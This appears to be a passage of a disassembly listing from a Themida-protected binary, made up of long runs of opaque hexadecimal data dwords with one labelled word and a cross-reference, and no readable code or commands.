		dd 7AFB9F08h, 33506E0Bh, 5E1FF2BFh, 0A60A6ED0h,	36B6A6FAh
		dd 73B788C4h, 5586290h,	72ECDC56h, 270B71BEh, 2EDC7772h
		dd 0FE310D31h, 56165772h, 5004F27Ch, 59139CBEh,	0E9F875C7h
		dd 41881869h, 0A522300Bh, 0E5902967h, 71C6F920h, 0FD68135Eh
		dd 0C4AACC6Ah, 9BDB140h, 4C2CA66Fh, 0D104185Eh,	0FD804DEDh
		dd 5B447591h, 21298D64h, 77E360B3h, 9637585Eh, 0A616D92h
		dd 0B1CA0B8Ch, 0A022E745h, 588FFD4Dh, 56F92E9Bh, 9930FB3Eh
		dd 0E7C11679h, 76109806h, 683A2F82h, 16B7F250h,	76284859h
		dd 0EA6FB684h, 9450F6F7h, 0AC560270h, 6007E908h, 72A4B800h
		dd 247C4A1Ah, 6A4086A8h, 730936A4h, 51AA15Dh, 0CDBFCBEAh
		dd 0D2616B6Fh, 0C5545EF1h, 166AA3BEh, 74CA56E6h, 44E15A7Ch
		dd 4C4E021Bh, 3192AB34h, 868A7719h, 4CF3106Dh, 0F2D7581Bh
		dd 0B2D5D927h, 0E94402F8h, 1504DFB5h, 0B0F2BA54h, 238BAED2h
		dd 9458D852h, 0F3CA7F3Bh, 0BE0FB061h, 7170B7C8h, 2D9CF034h
		dd 49EFA856h, 6C0050B2h, 5ADF1999h, 4014F89Fh, 0BB9E0829h
		dd 27957C9h, 510919A0h,	0B0746968h, 82961B19h, 7267C400h
		dd 81023AAAh, 0A6631FE6h, 2CECDC35h, 29F20328h,	0F6F82E78h
		dd 3A301F16h, 8D24CE50h, 0BE2EF7BCh, 0C0EA3D05h, 0C5F72393h
		dd 5DFBD509h, 0E90540F3h, 0DCBFD350h, 654E01DAh, 3B272DF6h
		dd 0F0E935C3h, 64493F2Dh
		dd 0BC6EFA05h, 638289D4h, 6320B5ABh, 43B95551h,	7207FB4h
		dd 9D46E697h, 0A1698ED6h, 18E9571Dh, 0B313057Fh, 140CB6D6h
		dd 8095A9FAh, 143049EEh, 80DE4EF7h, 4A534B2Dh, 0D8AFE919h
		dd 43FDBB26h, 9F7DF20h,	1EB83DBh, 4E018657h, 6E042551h
		dd 6A8A11FFh, 0B59EF46Bh, 2ECDD051h, 31B78F02h,	7DD0C030h
		dd 0E28180F7h, 5766EA12h, 12C2E805h, 0BDCF0FE8h, 865C4A65h
		dd 0E918E4EEh, 0AC388426h, 8FB20452h, 0AC08E2C0h, 54CB13DEh
		dd 1F06337h, 0B59723E9h, 5283FE67h, 2D654E9h, 4C0CED89h
		dd 71680689h, 330162D1h, 0E9E831B9h, 2981C9DAh,	554DDEC1h
		dd 612F6001h, 81791B58h, 51EA2FCEh, 997CE87Fh, 6464A622h
		dd 0F37197C4h, 2C06D8AFh, 623014F7h, 5306BF99h,	84B95B9Ch
		dd 40F3AFB7h, 0FAE05525h, 0D9BD2158h, 906861A7h, 0D2DA2857h
		dd 31C8C1BEh, 41C26D7h,	98E9FE29h, 69AF3CD5h, 0DF763F01h
		dd 2768F8D1h, 0B8744B28h, 0D3E2287Ah, 8088150Bh, 0E9C8FE34h
		dd 88E65470h, 5F71469Bh, 0A9BB37FBh, 0DABA24ECh, 45B92C40h
		dd 8417F951h, 78E4C7C1h, 12BBA585h, 6761BC49h, 0CAF00506h
		dd 48E86562h, 2D387B64h, 0AA4B9212h, 167EED90h,	0C0A60C6h
		dd 0DA191406h, 4E41F9B0h, 1EEEBF40h, 60AB2664h,	222A0522h
		dd 8AFD47EAh, 0C5A9651h, 0EF421D05h, 0D0EA4E6Fh, 0CF716890h
		dd 4CF2C25Ah, 4F211048h, 2A89539Fh, 0BF947FA5h,	333C5D95h
		dd 10358081h, 3B1C52CAh, 0F2005EA0h, 2CE08E53h,	13138F05h
		dd 55842039h, 46060713h, 98878067h, 5112041h, 28575897h
		dd 4839012Dh, 9A10A6E8h, 7BB95B14h, 54721C74h, 0B458BB1Bh
		dd 70DC1A02h, 0B077CE31h, 61F7DE03h, 2CE908D3h,	13C429BFh
		dd 4E2DFEEh, 68925638h,	0E95E60D1h, 2A9F21CEh, 0B08F2A2h
		dd 0CEB6606Fh, 74BD62B3h, 0AEE98C75h, 0C49F58D5h, 0DFA68AEFh
		dd 33988F10h, 817F5506h, 2D0D94EBh, 994828E9h, 0A31E60F2h
		dd 0C5C8CA3Bh, 5498203Ch, 0BF5881F4h, 89270F5Ch, 0BE715DBFh
		dd 1C6B7A43h, 98F0881Ch, 63688501h, 0B2E92C4Fh,	599D0CB6h
		dd 0F0E02DDAh, 6880121Ch, 0B3495FD9h, 78751AFBh, 0FF625D1Bh
		dd 25A45B5Dh, 0ADBB315Dh, 4BC65828h, 0C179F39Bh, 626B1113h
		dd 66C18FAh, 8B4F6FE9h,	4075D58Ch, 49076889h, 5B8DEC5Ch
		dd 5D3635B2h, 787C5720h, 409F194Ah, 2F7E012Ch, 0ACC30FFBh
		dd 0E38D1209h, 556B0BB7h, 6703C9C0h, 84277E33h,	3BBCC12Eh
		dd 6FA4A16Eh, 9CD16FC3h, 54AFCC3h, 0C0B8B264h, 0FABC94EAh
		dd 2951FAB2h, 0E83A6AF5h, 1434A26Fh, 0E934C642h, 526992DEh
		dd 0ADBFF57Bh, 62898BCFh, 0D9807FB9h, 8330013Eh, 2BF3C274h
		dd 0DA2740E9h, 0B21B10F5h, 0C16FC014h, 6C32276Bh, 0FCFAA490h
		dd 0D747C9B5h, 0BC2AEAC9h, 0E3119B97h, 19EFC881h, 20FCB8F1h
		dd 293077B9h, 235EBEC6h, 58262692h, 148D0258h, 5AFE2ABAh
		dd 4E0789BDh, 0B1C46018h, 0A1145FECh, 5AAA30B0h, 485E307Ah
		dd 0F54AB4ECh, 0CE0B0570h, 2C11713h, 0C9321E2h,	0C7234659h
		dd 41D00609h, 1291FC80h, 0EE50C53Fh, 9D13CF9Eh,	0D638EE4Eh
		dd 41AF638Eh, 0B80759CAh, 465B1B65h, 0AD4015E5h, 855C53BBh
		dd 0BA3EF479h, 0BE295B0Dh, 4FC0E57h, 40780412h,	3CFAF173h
		dd 93F67B1Eh, 53393AE9h, 493E7521h, 8B5DE4BCh, 908478BEh
		dd 2BC402C4h, 0F5293880h, 80114E2h, 758294E9h, 69769E83h
		dd 13BD54B0h, 0ECB2178Dh, 2565FF31h, 2718C82h, 0AB7DBF57h
		dd 0B963FD38h, 6278B7FAh, 5C50998Ch, 0A64E731Eh, 0D19009D7h
		dd 98891346h, 0FBEF30CEh, 2FF0F7F1h, 0D2F17B25h, 12054A1Dh
		dd 6B65EBE6h, 0AA54E304h, 0D909EE12h, 0E76DA962h, 0CC0F0DA5h
		dd 0EADDDA1Fh, 6BDAD9DFh, 2FE5C455h, 89D1204Ch,	0F133AC42h
		dd 9B18890Eh, 0D397B4FEh, 0BA2666A8h, 5C5D52B2h, 61F950BBh
		dd 9878989Dh, 0FAE1C94Dh, 29DE400Bh, 3C1C1BA5h,	0EA8450A0h
		dd 0A919AB42h, 31D11052h, 21135D3Bh, 17CBEAA2h,	0BAEB314Ah
		dd 16A804B3h, 1CBC9510h, 6885EB80h, 39455A15h, 0F0C1A4B5h
		dd 976C39F0h, 91D8099Eh, 50CC9EDFh, 2FE93750h, 0EF516AC6h
		dd 9E7A9B87h, 0BD19786Ch, 80B590C6h, 5908A916h,	280CC158h
		dd 2F536D21h, 0E9540620h, 0B2BBEAFh, 1C1CCF01h,	2EA6204Bh
		dd 7AB2680Ch, 854731Dh,	0A29720E6h, 76589CE3h, 91C16F15h
		dd 2B5ED223h, 13A85FA0h, 1278D92Dh, 0E525055Eh,	8FAAC020h
		dd 4D09471Eh, 0F7718AE9h, 3FC13EE9h, 2CFB7F94h,	6482CDDh
		dd 0FA6AA62Dh, 8C9A5B45h, 7338EFCFh, 0EA86EF0Fh, 0EEAAB897h
		dd 9A04EC90h, 0EA819FD2h, 0C505AFBh, 325C2D7Dh,	94F8C954h
		dd 64BC5002h, 0DE6BF287h, 0F7F0AAA5h, 3E23FCE2h, 83DA347Ch
		dd 918454C3h, 80F6EE54h, 1102D44h, 5029071Dh, 338BF0h
		dd 8150137Ch, 744580E6h, 30C5E60h, 9F082C4Eh, 0D42587D1h
		dd 382EB4h, 39A06910h, 6812CE01h, 46F80359h, 24F015CAh
		dd 5D050848h, 9753BC39h, 0BFE97A2Bh, 0E357A202h, 71C2897Dh
		dd 0EF24E971h, 0B18C1513h, 8A955ED6h, 0E2D4DC6Ah, 41AB5B97h
		dd 0B7279FBEh, 0A0A96E28h, 8225583Bh, 620B8EA2h, 25BA475Fh
		dd 0E95A147Ch, 0F26F667Fh, 0E0C23B30h, 47DEF29Dh, 0AC6C4A2Ah
		dd 9CFE4B26h, 0E9135737h, 2EDADF1h, 0FB4E5B58h,	0C094CD68h
		dd 0B5515A5Dh, 0DD00F657h, 0B753CDFEh, 0BFFD28D4h, 0E9E2C171h
		dd 5CCCE96Eh, 0D302642Ah, 5B4F6780h, 0C5CDECB1h, 0B704A7E8h
		dd 24F618EEh, 7F2AE469h, 0BCD17184h, 545FA2C4h,	15485BDFh
		dd 86691352h, 0EF7261BFh, 9C397F3Eh, 0D64C452Fh, 0B331572Dh
		dd 0F95F79B0h, 598C7AF8h, 554A5D69h, 4B812AEEh,	0CA8E3DE9h
		dd 0CE77AAF3h, 74A0B2h,	5FF4DD2Dh, 0FF31352Dh, 8BA37A10h
		dd 0E13DD4B5h, 0CA685257h, 24A72363h, 3BF1E19Fh, 5D42DA3h
		dd 803A8335h, 2A2C68FFh, 5B361C17h, 56CC09FEh, 0B718445Fh
		dd 0DE29F6E0h, 8FF0874Ah, 48861CEBh, 0F0531D73h, 663714DEh
		dd 0A120D890h, 0FE5F83Ch, 63857CBFh, 0A5ACFE65h, 0A094DF05h
		dd 0D81328E1h, 6D1E604h, 680071B2h, 539521F8h, 6D6841A8h
		dd 51DDC25Dh, 73A7C2C0h, 29717C6h, 55DED0DEh, 918BF6E7h
		dd 5BB0FE5Ch, 81B1E4E9h, 3052C237h, 0C9C28A1h, 0AD7B4963h
		dd 0E32710D6h, 6122090Ch, 0F281465Eh, 0E607792Ah, 0C71448F7h
		dd 67BAB5D3h, 2D812DF1h, 30857E2Ah, 13FF12Ah, 8B875A07h
		dd 7FD9EC8Dh, 4295226Ch, 0C66E5571h, 74C8312Fh,	30C07A7Ah
		dd 5391435Eh, 0C4370D03h, 42CD8A01h, 2FD2FC1Fh,	221C327Dh
		dd 90741D0h, 0E357DB57h, 122AAEC1h, 370BDE53h, 0C8673D10h
		dd 807382E5h, 0F15B0158h, 0EBD2BEA2h, 66AC8F57h, 98C5E90Ch
		dd 0EA48D19Ah, 0AF9D7171h, 0B1C4DC5Ch, 0C0BB6FEBh, 43226840h
		dd 0FC0B989Dh, 28FB3E26h, 604B7396h, 0AF13FA16h, 34E83E5Fh
		dd 294A5581h, 5434607Ch, 0F1090DDEh, 41007D5Eh,	0E9E3DBB7h
		dd 68975FFAh, 17873B8h,	82B8536Ah, 6096F998h, 814FE970h
		dd 315D4D81h, 0F7170B2Bh, 0ABFDDC6Bh, 0DD1632E2h, 5E35A263h
		dd 0D2640FEAh, 0F468C73h, 0F250A55Fh, 14E95A8Eh, 1744D1C4h
		dd 974B1044h, 0A02DFA10h, 0B9014209h, 6A0C8BCBh, 0E9C2ABA7h
		dd 0A5207FDh, 2DF42A20h, 0B374E889h, 48B9803Dh,	1325A0Ah
		dd 6805B1D9h, 13F505CEh, 0EAF209ECh, 829CA95Dh,	7FB048CEh
		dd 81D83099h, 1B2D4004h, 89C85C3Ch, 565824C2h, 0E5E90EB2h
		dd 0EEC080F8h, 0BD800439h
		dd 1BD593F7h, 9825F9FDh, 559DB1D8h, 6B900C1Eh, 0FEF5B495h
		dd 8190968h, 0E8D76292h, 1EF8B9F8h, 9318910Bh, 39C4B978h
		dd 16C825D9h, 30FA301Ch, 209EC161h, 0A50D6C3Dh,	770F2B60h
		dd 0BED72284h, 338F5DB3h, 82513752h, 16FF7BDBh,	0B5039281h
		dd 96653279h, 6C099556h, 0C81AFF50h, 0A734CD57h, 822528FBh
		dd 5B6B4C48h, 1A75A59Dh, 3D152B1h, 5172EF80h, 0F1B019B1h
		dd 0CF1208C9h, 42E0F3E9h, 0F047715Fh, 9B264813h, 0FD035380h
		dd 0CA984E67h, 2FCB200h, 0E9F30198h, 5180B708h,	0F7300AB6h
		dd 885A6617h, 200E82FEh, 0ECA363F5h, 3FD6B5EEh,	0BB4A6EA3h
		dd 2EDA2B45h, 3AE7C740h, 0EC313605h, 6E9C13EFh,	0CDBFE035h
		dd 2793D609h, 3318C021h, 0F305803Dh, 5D6C5C02h,	5E5930FFh
		dd 648252F1h, 0D00B9BBAh, 4EF9F14Bh, 0ACA5886Bh, 18BB8C40h
		dd 8A605CB4h, 550E82CBh, 0CCE94C63h, 0B8432034h, 7699047Dh
		dd 0FF312193h, 92C5A300h, 0A0348337h, 3E7B3298h, 0E6027D4Ch
		dd 786042E7h, 86EE9E80h, 775BC604h, 608323E4h, 0DDEDF789h
		dd 164B342Ch, 32845EBDh, 0C2661887h, 590D2C80h,	73520953h
		dd 4E6E4ED5h, 1E4AEF2Ah, 11EBB95h, 47E464D7h, 0C58591CBh
		dd 7B6E8F0h, 0DC3049B3h, 58F03C94h, 2C5202B8h, 0E8C11979h
		dd 20BA93C0h, 298A6F18h, 0C1B4890h, 0EA833CEEh,	0CE01F276h
		dd 0E96CAE0Dh, 0B83B6A2Eh, 0CACFC4A0h, 44856800h, 30F414A7h
		dd 0A68B7958h, 664C18BEh, 0BDF1AA1Ah, 459FCA02h, 0D55EEE68h
		dd 4DBABB1Bh, 128A5E29h, 0F1290DCEh, 829404EAh,	0A7D58B37h
		dd 8D74D7B4h, 0F5683ED1h, 1C3E617Ah, 87288BD8h,	0E98AD0CAh
		dd 0C4205FECh, 0B4418E31h, 99453EAh, 2A6851E0h,	0BC8DB16Bh
		dd 0C1D8CC2Dh, 71525825h, 0F74F62D3h, 69095D73h, 10B17F3Fh
		dd 4EAE2A13h, 79E4FE8Fh, 104AB6Ch, 9110AE7Eh, 0FD4F950Fh
		dd 0CCD2688Fh, 42138FB2h, 3C715938h, 0A8055E6h,	0C09FCB80h
		dd 0F3EC03EBh, 0DE08E80Bh, 3103D55Bh, 0F6D902E6h, 5AF0C3BDh
		dd 0AD98C328h, 0BF50F095h, 554245Eh, 5768EA29h,	1E7B2110h
		dd 2FF5298Ah, 7908DE1Ch, 87887E02h, 72BC65D7h, 0D0E81E40h
		dd 0E0680BF5h, 0C01FB21Bh, 0B54A4B7Ch, 0A88E4EA5h, 33BE0275h
		dd 42533127h, 0FC90FDBBh, 162E6787h, 142D1B01h,	0E1B9A0C4h
		dd 0E61912A4h, 0F4A0077h, 92274F4h, 0B2252BFh, 7B7F1DADh
		dd 3D053981h
		db 0A0h, 0FEh
word_4A3AF6	dw 84EAh		; DATA XREF: Themida_:004F9134o
		dd 0D838A6D0h, 0E3A85B52h, 0F94B3AB9h, 970146D9h, 912216F5h
		dd 42916F3h, 0E98E3FB9h, 75AE9242h, 0FFE78581h,	0E0250EE6h
		dd 0E7BEE200h, 0E8E1D727h, 9FDD373Dh, 0A8EF3A82h, 2D145E85h
		dd 64E9205Eh, 0AAC12EA5h, 68666089h, 469446EFh,	52F6B781h
		dd 782070B6h, 0DD78AAA5h, 6FB9CD60h, 79A8E991h,	98BE0F20h
		dd 8ACA2F0Bh, 16BD5A5Ah, 0B7E5E62Eh, 93806E9Ah,	559F4CD7h
		dd 49D9F714h, 63BB0BE2h, 800204ECh, 0BF49B8BCh,	7C172A10h
		dd 185EF235h, 4D1880BFh, 485B0F1Fh, 12BBB625h, 86C6ACC3h
		dd 8299F888h, 0FEDBC1ACh, 5A2D3068h, 0F2DF8355h, 3C17A8BBh
		dd 0E9D30931h, 8B10AD6Dh, 681C2D5Dh, 5C16C49h, 4DF03E69h
		dd 782102Ah, 1206F441h,	995A711Ah, 6326C223h, 7167E4A1h
		dd 2D14013Ah, 554DF510h, 0D84C6A25h, 5C3F0096h,	2E4BB8EAh
		dd 2D4ACB40h, 428AB2E8h, 0BD5B9DBDh, 0C0D19334h, 0D9F5CB6Fh
		dd 0BF4AF297h, 0A739B2D1h, 669E4821h, 0F3BF8053h, 3FFBFC05h
		dd 0D481FD31h, 0C86E98D5h, 90400C5Ch, 772D02BDh, 0EA311DC1h
		dd 0DC52D1D6h, 0C052C4BDh, 59611D25h, 0C0BE5A02h, 0D085AE86h
		dd 0B8019F37h, 232C5868h, 0C65B2585h, 0EB810229h, 69DA31B3h
		dd 0B867157h, 6424AE9h,	0E22F71DDh, 987F9CF2h, 162DEDB7h
		dd 1F1B994Fh, 6D408CF8h, 0B77EC662h, 5CFF5F4Ah,	4B93C1CBh
		dd 0A5290333h, 0C0E0633Ch, 9FF29CF1h, 0E2715FE8h, 0C9CBF69Fh
		dd 279DD05Dh, 1A95639h,	0E1914B75h, 8B3F98AEh, 0B4724B53h
		dd 5AFFDDh, 5CC18839h, 9A8BE503h, 0ACEB5E7Dh, 41D2133Fh
		dd 4E7B02E7h, 0EA0D12D1h, 27518FB4h, 7E59B5h, 3D77C308h
		dd 64F7BB8Fh, 245C29E1h, 12FC3202h, 324910E9h, 834E7D33h
		dd 2A6040FEh, 3E1C00Ah,	80C909FEh, 0E557EC1h, 0BE072E8h
		dd 0AD8D9E0h, 2CFE2E5Dh, 565A68C6h, 69AAB316h, 1A2339A0h
		dd 4147CE97h, 447A9810h, 420D0A23h, 7754242Ch, 0BF7F1930h
		dd 0ACC5C8B7h, 776B9FA3h, 0FDC425EBh, 78874B83h, 0AC6B6509h
		dd 624E8267h, 3DC030C5h, 200B54EBh, 2436A4Dh, 9C4127Bh
		dd 0FDE6EE77h, 0C821CC9h, 53846855h, 3839C71h, 1A25DA0Ah
		dd 45FB159Ch, 0CBDCE17Fh, 0A9DD55A7h, 0CFFF9E3h, 0C1A9757Bh
		dd 510E440Fh, 25BA6B12h, 0FEE22DDEh, 17CDA297h,	89B022E9h
		dd 3D4C17B9h, 0A0A50605h, 0AD785CDDh, 8C6F2102h, 42D80169h
		dd 550800A1h, 2612DCBDh, 0B9365953h, 2085F0A6h,	0A68B70Bh
		dd 13B48FB5h, 0F22AEB82h, 2DE55633h, 17E889C0h,	0EBE9B0BFh
		dd 0E37FE189h, 825489A8h, 0FC211F1Fh, 29A77074h, 9515CE95h
		dd 0A9087A5Bh, 0B6311B7Eh, 0E453C2DAh, 54626E09h, 7ECA4D93h
		dd 0F03F4FFCh, 21852E93h, 630FBDh, 5CADBB53h, 0F9408637h
		dd 0D5501213h, 0FE0E010Ah, 9756FC3Ah, 4EE43778h, 0CC795B70h
		dd 0DE5CED4Ch, 0F510DAD6h, 11C4D1F0h, 916C90Ch,	308251EDh
		dd 85F7D2B7h, 57BC14E5h, 0C2DBE25Bh, 0FE1C4721h, 50E9C132h
		dd 13E2D5Bh, 0A7325952h, 29BCCB89h, 80612E7Bh, 533EC1D8h
		dd 19E9DBBEh, 81CE5088h, 5C4C7BEFh, 5FFE1E18h, 0FA3E706Fh
		dd 41AB3E05h, 32172D0Dh, 1E4E2018h, 0C8BCC254h,	7A0548B5h
		dd 0E7F082A9h, 68B0351Eh, 0E439F4C9h, 0ED803D64h, 0FAEF5173h
		dd 0B6F634CFh, 0F962B10Ch, 41AB2A0Bh, 0C5367C26h, 11F8DB72h
		dd 0DC250FE1h, 2D7E5329h, 6C020FD4h, 7C12BB7Dh,	5DCFC2C3h
		dd 0D0088308h, 0A2CB3C43h, 0E2683781h, 2DEDDF0Bh, 0B50B710h
		dd 561A38EDh, 77F38180h, 0E915B070h, 5CEEA49h, 94C5805Ah
		dd 0D13E5FC2h, 80329F7h, 226A9D0h, 0B140F55Ah, 503D0F7h
		dd 298836CEh, 0AA60A825h, 8EE91C4Bh, 0B05D2D1Dh, 4EED6810h
		dd 888C8C56h, 0B90B9Fh,	9445C1BFh, 2EFA7CDDh, 4B81556Bh
		dd 4233A800h, 85A31B6Ah, 6C0112BEh, 0E923D06Fh,	987B2D5Eh
		dd 0BC4BEB48h, 0C128CBBh, 0C0B0DBBAh, 49A1A449h, 0F5C81E8h
		dd 0B23EC8B7h, 1F7EC4A4h, 36B90013h, 4753A411h,	7194F0A0h
		dd 0C018C22Fh, 4AC9E9FBh, 56D8AE86h, 18F39A82h,	150A8F68h
		dd 659CE815h, 46C201E4h, 95E9441Bh, 937BCD52h, 0FAB4A7E0h
		dd 4EC02E93h, 1E35CF81h, 0CE47FD7Dh, 0EF12122Fh, 59558198h
		dd 0F10431DCh, 0BA5CF968h, 598BE171h, 1E96E17h,	0A2B745D0h
		dd 0A84DD5h, 28B7685Fh,	576A999Fh, 0C07E9D30h, 40D3EDC9h
		dd 4AD2F921h, 0BAEC617h, 8031FD96h, 0C9852B5Fh,	0DE5A07ABh
		dd 5F0E7431h, 665A2B85h, 5C51A4AFh, 365237DEh, 76B88DB0h
		dd 751F098h, 7D411325h,	71325105h, 0CAA13A73h, 484375F0h
		dd 42040A7Eh, 0FF4A821Fh, 0CEE93003h, 98467E90h, 0D6050714h
		dd 8F663749h, 3B1D03CDh, 0B21554A4h, 0D86816EFh, 1827F361h
		dd 0AD1BC136h, 51A8A63Eh, 132F9854h, 0C7B7AE16h, 685F89C9h
		dd 0CAF111F0h, 0BF05D52h, 0AC22CBC8h, 0F9D658BDh, 41401E6Ch
		dd 857DF677h, 0A2BB50D2h, 0C88914F0h, 0B99B7DBBh, 0C912DBA5h
		dd 3B594054h, 0C57CB875h, 2D3E68B0h, 5B3A6695h,	0D2FCA35Fh
		dd 44EBD213h, 92F2E901h, 89965928h, 83EB47FEh, 1CD4BB1Eh
		dd 0DA942CE5h, 7AC8722Bh, 6B027F19h, 3968D301h,	0BF49A06Fh
		dd 6ABA6280h, 948986Ch,	990075DCh, 50152C8Eh, 101FDF90h
		dd 0E945E2D4h, 0C152DA54h, 6B72DDBEh, 10C4B3A2h, 9DBA1236h
		dd 0E901E696h, 9862D065h, 0B21C184Ch, 0BED312FEh, 500454F6h
		dd 8C6EA068h, 575FB131h, 0C7FFCEC7h, 23491D04h,	8633B0BAh
		dd 4584A50h, 12A0466Ah,	131B9D9h, 0B0291224h, 4A67F0D7h
		dd 0FB56566Eh, 902D6F04h, 0C83B4B04h, 5B58FD2Dh, 685AC1E4h
		dd 0F3894CDDh, 3B6891C4h, 0AA58537Bh, 5D121050h, 90CBA00h
		dd 0EA811A4Eh, 0D7798301h, 752AE948h, 2EC0DD3Ah, 4D2D55E2h
		dd 883294D5h, 245055E0h, 26F19B7h, 6E9E5230h, 6F0D11C0h
		dd 0E90F1404h, 9CBF3DFCh, 0F9D08E6Dh, 0EE8102C3h, 0E1FB5C05h
		dd 1BFE9052h, 81D7A0C1h, 922E2D0Eh, 0F02A28CCh,	4F404982h
		dd 0BB660E53h, 0C9A7495h, 0D25A9AC0h, 0EEB1FCBDh, 0E7E2BB72h
		dd 0FB6DE985h, 0A7BAB812h, 0BF31C4E9h, 461B1412h, 5F202B31h
		dd 0B7125159h, 98BA0056h, 3D18251Dh, 6BC16F22h,	0DF88AEFDh
		dd 4B1D4741h, 66F9CA21h, 0FA3DC53Ah, 0E9C346A2h, 0EF04024Ah
		dd 0BC35F8BBh, 88F38D80h, 7674271Ah, 0BB30515Ch, 9E332EBh
		dd 0DD890957h, 0B679987h, 8EBCDD5h, 2D01A0F3h, 75531968h
		dd 2FA85DD6h, 0EE3F5047h, 7B80D494h, 311144C7h,	685E09F7h
		dd 101A5509h, 254B3E60h, 2BC181C0h, 344FDB08h, 18CCD929h
		dd 558E1C08h, 0F07E1420h, 0D508A2E9h, 3045A590h, 202A73B5h
		dd 9A5597ADh, 95F15F5Dh, 162A8469h, 0B38CAA17h,	42081E05h
		dd 0F80185F2h, 0E807122Dh, 500BF580h, 6447DF8h,	91E47620h
		dd 120808C8h, 0BCBB800h, 7C01E7D9h, 9DAA35E8h, 345EAF73h
		dd 0D4708089h, 1C858388h, 0DFDA7583h, 61BFBDE8h, 72123D17h
		dd 806CADF1h, 4E1EB25Eh, 4AA9CFBAh, 2024E88Ah, 3AF4607Dh
		dd 98C02731h, 3DAE2D5Dh, 81075030h, 0E507A305h,	0C7140Eh
		dd 2C292640h, 0BE832FE9h, 5AFD5E20h, 494F0A24h,	881D03A2h
		dd 7DBBCBFEh, 5E49D9FCh, 0DC575ABCh, 17AF4633h,	0D18E56B7h
		dd 3BEC7E5Eh, 0BB68E9C2h, 0A4A1597Fh, 3E0138D2h, 9EE927F0h
		dd 6A916E0Fh, 0B3077C9Bh, 0A3D54E7h, 0AE6A9253h, 0EE06BDF9h
		dd 0D8283C1Dh, 3E0DC80Bh, 0E155E43h, 989C31DAh,	9FE908CAh
		dd 24647BBFh, 0FD8C1271h
		dd 4268C086h, 0BD0EA40Bh, 0C907C94Ch, 341F3C4Fh, 5AA3F160h
		dd 0E94D1232h, 0BF7AC4C3h, 0B826B08Fh, 534FC04Eh, 99B8644Bh
		dd 2D08B2D0h, 0C5A47929h, 15D9512h, 3768C397h, 0E7CC2F05h
		dd 7E9F6969h, 80A1808Eh, 6A2882EAh, 5870D48Bh, 0E91376D8h
		dd 2F54F1D1h, 0BAE430FCh, 79846B3h, 5362CA68h, 1290FC9Fh
		dd 0B5F8007Fh, 0C74D8327h, 660BFE0Ch, 0FF97D94Fh, 0C98F5B6h
		dd 5941704Eh, 3FD40A83h, 0C0E7DBECh, 0F67CED17h, 0ABA01A9h
		dd 0E310D1B5h, 10DE94E9h, 0FC8B948h, 42BA7BD0h,	75279D1Bh
		dd 57255BDCh, 0F2A2773Ch, 660E1CDEh, 0D7D05945h, 5D978B60h
		dd 15F6583h, 7368D24Eh,	0C461284Fh, 0EC17CE6Ch,	7924873h
		dd 79ED1183h, 8C44F6EFh, 7FCF387h, 0F0D9EC74h, 0EF3109CDh
		dd 516199E9h, 70F53B05h, 9A1AAA32h, 0F4001A4Bh,	0D1885102h
		dd 5BFACBE4h, 0A2F66C40h, 506DC1FCh, 0C16BC8FDh, 22D4C6CDh
		dd 12047FFEh, 0D9F73D7Fh, 791A60C0h, 0F8AA5EC0h, 0E9445052h
		dd 2D3DA859h, 0BFD1DE09h, 0DEB5769Eh, 94684587h, 8A934419h
		dd 53891E99h, 2196D536h, 0A6777BA2h, 2C5E0162h,	65F3D691h
		dd 0DFCFEF52h, 276C688Fh, 0D2A9D67Fh, 0E6E97F59h, 7101B48h
		dd 58B11F6Dh, 474CD95Eh, 9FDD9F41h, 4BD55D9Ah, 0E076CAC7h
		dd 828B92A8h, 90E67AFFh, 944BB273h, 42BE2673h, 0CE7D1B48h
		dd 9F8976Fh, 7A470703h,	0B0BBB48h, 0D9EAE90Bh, 35D62FA0h
		dd 0BE327B5Ah, 50310BD2h, 55503069h, 60A7F795h,	0C42D830h
		dd 4E04742Bh, 930A8B7h,	5D01EF83h, 0DEE95707h, 515F5898h
		dd 0EF06BAACh, 5B00190h, 4E76170Ch, 0FE691730h,	16087C10h
		dd 5A4B0EE9h, 0E1DE5C87h, 36772668h, 16AE4B36h,	10D7A6CAh
		dd 0BD026216h, 61E33B7Ah, 0B42CC45Ch, 30AF1D13h, 108EB883h
		dd 2D2FA23Ch, 857A85C7h, 4ED1CAAAh, 55B118ECh, 95E22F19h
		dd 48B82DC0h, 399C0374h, 5E0D0720h, 24A0D9E9h, 46FCA77Ah
		dd 27274C95h, 9D6E58C9h, 155ED256h, 4817EA68h, 26CC5732h
		dd 5F0B5190h, 70AD048h,	1C7EEBBBh, 0E5C8DF59h, 8F9D31E9h
		dd 0D5585A13h, 0FAEF50B1h, 8168F78Eh, 0EEE98330h, 8AA6BD5Ch
		dd 39A19B45h, 26A9305Ah, 0D46186C9h, 0D9448Fh, 0A5490268h
		dd 35580B2Eh, 827FB6FDh, 9361014Fh, 3F408359h, 0B29AF511h
		dd 60426D53h, 0D3056AFDh, 820E0922h, 0A564677Eh, 79EECD95h
		dd 0F43BE026h, 9333F595h, 47383405h, 12C43A72h,	0EF4A88F8h
		dd 42083F1Ah, 2A79F5B8h, 58215A30h, 296C3B26h, 3E084268h
		dd 0CEFD2C92h, 237587Eh, 634333EDh, 2D68DF58h, 7595671Ch
		dd 9BB4699h, 55E93684h,	0EC49EA9Dh, 3D417505h, 47A82E2Dh
		dd 0E98C593Bh, 0C5379CFDh, 59F1A898h, 282430EEh, 2602090h
		dd 921845FEh, 0D5212E4Ah, 418F3EAAh, 0E982BC7Fh, 76796A95h
		dd 0A0834669h, 6E623310h, 28DA6C4Eh, 815D0804h,	1A32A4Ch
		dd 52EC21B8h, 9A3FF43Eh, 1AE09DD6h, 34A588B4h, 9AF4963Eh
		dd 829797BFh, 0D6906DB3h, 4A0C76AAh, 92D10174h,	7B3D003Ch
		dd 0E9DDF71Ah, 2AC72326h, 0C77525Eh, 86B9683Bh,	9D728294h
		dd 85DF2928h, 2DEB5497h, 0ED253378h, 601D7453h,	5B880893h
		dd 52A58DBDh, 0C04C043Ch, 8F65A86Ah, 5ADE028Fh,	0C8743C4Fh
		dd 0FD1EDF25h, 899DD197h, 12C20BE9h, 0B287A07Fh, 4B063F14h
		dd 847EBD5Bh, 52E79910h, 7D258052h, 0D25CED4Ah,	266DD09h
		dd 0D49C62F6h, 98DC629Dh, 0AC654EFEh, 0EBF906BFh, 0FE778559h
		dd 4F026F4Ah, 0D6453868h, 4BF862B6h, 0F72850F3h, 7881DE40h
		dd 0F72F4CCDh, 74560C60h, 0F5F87F9Ah, 0BF76F374h, 44B574Ch
		dd 1CA83D86h, 259BEDEEh, 70615222h, 7F6112EBh, 115AB044h
		dd 8560F841h, 2903AC3h,	575305CEh, 0B238AF48h, 0AEC901DCh
